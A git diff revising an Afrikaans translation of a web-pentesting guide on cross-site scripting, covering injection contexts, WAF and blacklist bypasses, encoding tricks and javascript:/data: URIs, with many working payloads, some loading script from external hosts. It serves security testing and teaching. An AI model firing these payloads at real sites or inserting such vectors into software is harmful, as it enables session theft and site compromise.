diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index a096d7673..ae143b9df 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -4,64 +4,64 @@
 
 ## Metodologie
 
-1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) in die HTML **reflekteer** of **gebruik** word deur **JS** kode.
-2. **Vind die konteks** waar dit reflekteer/gebruik word.
-3. As dit **reflekteer**
-1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
-1. In **rauwe HTML**:
-1. Kan jy nuwe HTML-tags skep?
-2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
-3. Kan jy beskermings omseil?
-4. Word die HTML-inhoud deur enige kliëntkant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...) geïnterpreteer, jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
-5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML scriptless inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
-2. Binne 'n **HTML-tag**:
-1. Kan jy na die rauwe HTML-konteks ontsnap?
-2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
-3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
-4. Kan jy beskermings omseil?
-3. Binne **JavaScript-kode**:
-1. Kan jy die `<script>`-tag ontsnap?
-2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
-3. Is jou invoer in sjabloon literale \`\`?
-4. Kan jy beskermings omseil?
+1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _path_, _headers_?, _cookies_?) **gereflekseer** word in die HTML of **gebruik** word deur **JS** kode.
+2. **Vind die konteks** waarin dit gereflekseer/gebruik word.
+3. As dit **gereflekseer** word:
+1. Kontroleer **watter simbolen jy kan gebruik** en, afhangend daarvan, berei die payload voor:
+1. In **raw HTML**:
+1. Kan jy nuwe HTML tags skep?
+2. Kan jy events of attributes gebruik wat die `javascript:` protokol ondersteun?
+3. Kan jy beskerming omseil?
+4. Word die HTML-inhoud geïnterpreteer deur enige client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), dan kan jy misbruik maak van [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. As jy nie HTML-tags kan skep wat JS kode uitvoer nie, kan jy dalk misbruik maak van [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+2. Binne 'n **HTML tag**:
+1. Kan jy uit die attribute en uit die tag ontsnap (dan is jy in die raw HTML) en nuwe HTML tag skep om misbruik te maak: `"><img [...]`
+2. As jy **uit die attribute kan ontsnap maar nie uit die tag nie** (`>` word geënkodeer of uitgevee), afhangend van die tag kan jy 'n **event** skep wat JS kode uitvoer: `" autofocus onfocus=alert(1) x="`
+3. As jy **nie uit die attribute kan ontsnap nie** (`"` word geënkodeer of uitgevee), dan sal dit afhang van **in watter attribute** jou waarde gereflekseer word en **of jy die hele waarde beheer of net 'n deel** daarvan, wat jy kan misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer, kan jy dit executeer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die attribute `href`, waar jy die `javascript:` protokol kan gebruik om arbitêre kode uit te voer: **`href="javascript:alert(1)"`**
+4. As jou input binne "**unexpoitable tags**" gereflekseer word, kan jy die **`accesskey`** truuk probeer om die vuln te misbruik (jy sal 'n vorm van social engineering nodig hê om dit uit te oefen): **`" accesskey="x" onclick="alert(1)" x="`**
+3. Binne **JavaScript code**:
+1. Kan jy die `<script>` tag ontsnap?
+2. Kan jy die string ontsnap en ander JS kode uitvoer?
+3. Is jou input in template literals \`\`?
+4. Kan jy beskerming omseil?
 4. Javascript **funksie** wat **uitgevoer** word
-1. Jy kan die naam van die funksie wat uitgevoer moet word aandui. bv.: `?callback=alert(1)`
-4. As **gebruik**:
-1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
+1. Jy kan die naam van die funksie aandui wat uitgevoer moet word. bv.: `?callback=alert(1)`
+4. As dit **gebruik** word:
+1. Jy kan 'n **DOM XSS** uitbuit; let aandag op hoe jou input beheer word en of jou **beheerde input deur enige sink gebruik word.**
 
-Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
+Wanneer jy aan 'n komplekse XSS werk, mag dit interessant wees om te weet van:
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## Reflekteerde waardes
+## Gereflekseerde waardes
 
-Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat in die webblad reflekteer**.
+Om 'n XSS suksesvol uit te buit, is die eerste ding wat jy moet vind 'n **waarde wat jy beheer en wat gereflekseer word** op die webblad.
 
-- **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
-- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, op die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
-- **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
+- **Intermediêr gereflekseer**: As jy vind dat die waarde van 'n parameter of selfs die path in die webblad gereflekseer word, kan jy 'n **Reflected XSS** uitbuit.
+- **Gestoor en gereflekseer**: As jy vind dat 'n waarde wat jy beheer op die bediener gestoor word en elke keer as jy 'n bladsy besoek gereflekseer word, kan jy 'n **Stored XSS** uitbuit.
+- **Toeganklik via JS**: As jy vind dat 'n waarde wat jy beheer via JS geraadpleeg word, kan jy 'n **DOM XSS** uitbuit.
 
-## Konteks
+## Kontekste
 
-Wanneer jy probeer om 'n XSS te misbruik, is die eerste ding wat jy moet weet **waar jou invoer reflekteer**. Afhangende van die konteks, sal jy in staat wees om arbitrêre JS-kode op verskillende maniere uit te voer.
+Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet **waar jou input gereflekseer word**. Afhangend van die konteks, sal jy op verskillende maniere arbitêre JS kode kan uitvoer.
 
-### Rauwe HTML
+### Ruwe HTML
 
-As jou invoer **reflekteer op die rauwe HTML** bladsy, sal jy sommige **HTML-tags** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die baie moontlike HTML-tags wat jy kan gebruik.\
-Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-injection-csti.md).
+As jou input **gereflekseer word op die raw HTML** bladsy, sal jy 'n **HTML tag** moet misbruik om JS kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net sommige van die vele moontlike HTML tags wat jy kan gebruik.\
+Hou ook in gedagte [Client Side Template Injection](../client-side-template-injection-csti.md).
 
-### Binne HTML-tags eienskap
+### Binne HTML tag se attribuut
 
-As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
+As jou input binne die waarde van 'n tag se attribuut gereflekseer word, kan jy probeer:
 
-1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
-2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
-3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer, **as jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
-4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
+1. Om **uit die attribuut en uit die tag te ontsnap** (dan sal jy in die raw HTML wees) en 'n nuwe HTML tag skep om misbruik te maak: `"><img [...]`
+2. As jy **uit die attribuut kan ontsnap maar nie uit die tag nie** (`>` word geënkodeer of uitgevee), afhangend van die tag kan jy **'n event skep** wat JS kode uitvoer: `" autofocus onfocus=alert(1) x="`
+3. As jy **nie uit die attribuut kan ontsnap nie** (`"` word geënkodeer of uitgevee), dan, afhangend van **in watter attribuut** jou waarde gereflekseer word en **of jy die hele waarde of net 'n deel beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer, kan jy dit arbitrary laat loop wanneer dit geklik word. Nog 'n interessante **voorbeeld** is die `href` attribuut, waar jy die `javascript:` protokol kan gebruik om arbitêre kode uit te voer: **`href="javascript:alert(1)"`**
+4. As jou input binne "**unexpoitable tags**" gereflekseer word, kan jy die **`accesskey`** truuk probeer om die vuln te misbruik (jy sal 'n vorm van social engineering nodig hê om dit uit te oefen): **`" accesskey="x" onclick="alert(1)" x="`**
 
-Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
+Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n class name beheer:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -69,15 +69,15 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
 ```
 ### Binne JavaScript-kode
 
-In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
+In hierdie geval word jou insetsel weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
 
-- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `</script>` etiket binne die HTML-kode is nie.
-- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
+- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou insetsel binne enige tipe aanhaling, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette ontleed** en daarna die inhoud, daarom sal dit nie opmerk dat jou ingespuitte `</script>`-etiket binne die HTML-kode is nie.
+- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy die string moet **verlaat**, jou kode **uitvoer** en die JS-kode **herbou** (as daar enige fout is, sal dit nie uitgevoer word):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- As dit weerspieël word binne sjabloonletterlikhede, kan jy **JS-uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode-kodering** werk om **geldige javascript-kode** te skryf:
+- As dit weerspieël word binne template literals kan jy **embed JS expressions** gebruik met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** werk om **valid javascript code** te skryf:
 ```javascript
 alert(1)
 alert(1)
@@ -85,25 +85,25 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is sodat jy scenario's kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\
-**Kyk na die volgende bladsy vir meer inligting:**
+Javascript Hoisting verwys na die moontlikheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is, sodat jy scenario's kan misbruik waar 'n XSS nie-verklaarde veranderlikes of funksies gebruik.**\
+**Kyk na die volgende bladsy vir meer info:**
 
 
 {{#ref}}
 js-hoisting.md
 {{#endref}}
 
-### Javascript Funksie
+### Javascript Function
 
-Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.
+Verskeie webblaaie het endpoints wat **as parameter die naam van die uit te voer funksie aanvaar**. 'n Algemene voorbeeld wat jy in die veld sal sien is iets soos: `?callback=callbackFunc`.
 
-'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
+'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word probeer word uitgevoer, is deur die parameterwaarde te **wysig** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
 
 ![](<../../images/image (711).png>)
 
-As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**).
+Indien dit kwesbaar is, kan jy in staat wees om **'n alert te aktiveer** net deur die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud sal **valideer** om slegs letters, syfers, punte en onderstreeptekens toe te laat (**`[\w\._]`**).
 
-Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
+Alhoewel dit 'n beperking is, is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te bereik**:
 
 ![](<../../images/image (747).png>)
 
@@ -115,11 +115,12 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Jy kan ook probeer om **Javascript funksies** direk te **trigger**: `obj.sales.delOrders`.
+Jy kan ook probeer om **trigger Javascript functions** direk: `obj.sales.delOrders`.
 
-E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in die dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
+Ewenwel, gewoonlik is die endpoints wat die aangeduide funksie uitvoer endpoints sonder baie interessante DOM, **other pages in the same origin** sal 'n **more interesting DOM** hê om meer aksies uit te voer.
+
+Daarom, om hierdie **kwesbaarheid in 'n ander DOM te misbruik**, is die **Same Origin Method Execution (SOME)** uitbuiting ontwikkel:
 
-Daarom, om hierdie **kwesbaarheid in 'n ander DOM** te **misbruik**, is die **Same Origin Method Execution (SOME)** uitbuiting ontwikkel:
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -127,7 +128,8 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Daar is **JS kode** wat **onveilig** gebruik maak van **data wat deur 'n aanvaller beheer word** soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS kode uit te voer.
+Daar is **JS code** wat **onveilig** sekere **data wat deur 'n aanvaller beheer word** gebruik, soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
+
 
 {{#ref}}
 dom-xss.md
@@ -135,28 +137,30 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Hierdie tipe XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
+Hierdie tipe XSS kan **oral** gevind word. Hulle is nie net afhanklik van die kliëntuitbuiting van 'n webtoepassing nie maar van **enige** **konteks**. Hierdie soort **arbitrary JavaScript execution** kan selfs misbruik word om **RCE** te verkry, **lees** **arbitrêre** **lêers** op kliënte en bedieners, en meer.\
 Sommige **voorbeelde**:
 
+
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
+
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF omseil kodering beeld
+## WAF bypass encoding image
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Invoeging binne ruwe HTML
+## Injecting inside raw HTML
 
-Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of as dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
-Vir hierdie gevalle hou ook **in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Let wel: 'n HTML kommentaar kan gesluit word met\*\***\***\*`-->`\*\***\***\*of \*\***`--!>`\*\*_
+Wanneer jou invoer **inside the HTML page** weerspieël word of jy kan ontsnap en HTML-kode in hierdie konteks in spuit, is die **first** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** of **deleted** word of as dit **reflected without changes**. **Slegs in laasgenoemde geval sal jy hierdie geval kan uitbuit**.\
+Vir hierdie gevalle, **hou ook in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ 
 
-In hierdie geval en as daar geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
+In hierdie geval en as geen black/whitelisting gebruik word nie, kan jy payloads soos die volgende gebruik:
 ```html
 <script>
 alert(1)
@@ -164,22 +168,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\
-Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
+Maar, as tags/attributes swart-/witlys gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
+Sodra jy **gevind het watter tags toegelaat word**, moet jy **brute-force attributes/events** binne die gevonde geldige tags doen om te sien hoe jy die konteks kan aanval.
 
 ### Tags/Events brute-force
 
-Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen).
+Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Copy tags to clipboard**_. Stuur dan al die tags met Burp intruder en kontroleer of enige tag nie as kwaadaardig deur die WAF ontdek is nie. Sodra jy uitgevind het watter tags jy kan gebruik, kan jy **brute force alle events** met die geldige tags (op dieselfde webblad klik op _**Copy events to clipboard**_ en volg dieselfde prosedure as voorheen).
 
-### Aangepaste tags
+### Pasgemaakte tags
 
-As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
+As jy geen geldige HTML-tag gevind het nie, kan jy probeer om 'n **custom tag** te skep en JS-kode uit te voer met die `onfocus` attribute. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy op daardie objek te **focus** en die kode te **execute**:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
-### Swartlys Bypasses
+### Blacklist Bypasses
 
-As 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
+Indien 'n soort blacklist gebruik word, kan jy probeer om dit met 'n paar snaakse truuks te bypass:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -229,36 +233,36 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Lengte omseiling (klein XSS's)
+### Length bypass (small XSSs)
 
-> [!NOTE] > **Meer klein XSS vir verskillende omgewings** payload [**kan hier gevind word**](https://github.com/terjanq/Tiny-XSS-Payloads) en [**hier**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Meer tiny XSS vir verskillende omgewings** payload [**kan hier gevind word**](https://github.com/terjanq/Tiny-XSS-Payloads) en [**hier**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Die laaste een gebruik 2 unicode karakters wat uitbrei na 5: telsr\
-Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
-Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/en/unicode/U+2121).
+Die laaste een gebruik 2 Unicode-karakters wat uitvou tot 5: telsr\
+More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
+To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 
-### Klik XSS - Clickjacking
+### Click XSS - Clickjacking
 
-As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
+As dit nodig is om die kwesbaarheid uit te buiten dat die **gebruiker op 'n skakel of 'n vorm** met vooraf ingevulde data klik, kan jy probeer om [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
 
-### Onmoontlik - Hangende Markup
+### Impossible - Dangling Markup
 
-As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
+As jy dink dat dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer, moet jy [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) nagaan, want jy kan die kwesbaarheid **exploit** **sonder** om **JS** kode uit te voer.
 
-## Invoeging binne HTML-tag
+## Injektering binne HTML-tag
 
-### Binne die tag/ontsnapping van attribuutwaarde
+### Binne die tag/ontsnap uit attribuutwaarde
 
-As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem word, te gebruik om JS-kode uit te voer.\
-As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
+As jy binne 'n HTML-tag is, is die eerste ding wat jy kan probeer om uit die tag te **ontsnap** en sommige van die tegnieke genoem in die [previous section](#injecting-inside-raw-html) te gebruik om JS-kode uit te voer.\
+As jy **nie uit die tag kan ontsnap nie**, kan jy nuwe attributte binne die tag skep om te probeer JS-kode uit te voer, byvoorbeeld met 'n payload soos (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 ```
-**Stylingsgebeurtenisse**
+**Stylgebeure**
 ```python
 <p style="animation: x;" onanimationstart="alert()">XSS</p>
 <p style="animation: x;" onanimationend="alert()">XSS</p>
@@ -270,14 +274,14 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
 ```
 ### Binnen die attribuut
 
-Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël **as jy die hele waarde of net 'n deel daarvan beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer willekeurige kode wanneer dit geklik word.\
-Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om willekeurige kode uit te voer: **`href="javascript:alert(1)"`**
+Selfs al **kan jy nie uit die attribuut ontsnap nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël en **of jy die hele waarde of net 'n deel daarvan beheer**, kan jy dit misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer sal jy dit kan laat uitvoer van ewekansige kode wanneer dit geklik word.\
+Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:`-protokol kan gebruik om ewekansige kode uit te voer: **`href="javascript:alert(1)"`**
 
-**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
+**Omseiling binne event met HTML encoding/URL encode**
 
-Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
+Die **HTML encoded characters** binne die waarde van HTML tag-attribuutte word **gedekodeer op runtime**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Let daarop dat **enige soort HTML-kodering geldig is**:
+Let wel dat **enige soort HTML encode geldig is**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -294,19 +298,19 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**Let wel dat URL-kodering ook sal werk:**
+**Let wel dat URL encode ook sal werk:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Omhels binne gebeurtenis met Unicode-kodering**
+**Bypass binne event deur Unicode encode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### Spesiale Protokolle Binnen die attribuut
+### Spesiale protokolle binne die attribuut
 
-Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS-kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
+Daar kan jy die protokolle **`javascript:`** of **`data:`** op sekere plekke gebruik om **ewekansige JS code uit te voer**. Party sal gebruikersinteraksie vereis, ander nie.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -326,9 +330,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-**Plekke waar jy hierdie protokolle kan inspuit**
+**Plekke waar jy hierdie protokolle kan invoeg**
 
-**In die algemeen** kan die `javascript:` protokol **gebruik word in enige tag wat die attribuut `href` aanvaar** en in **meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
+**In die algemeen** kan die `javascript:` protokol **in enige tag gebruik word wat die attribuut `href` aanvaar** en in **die meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -348,23 +352,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Ander obfuskerings truuks**
+**Ander obfuscation tricks**
 
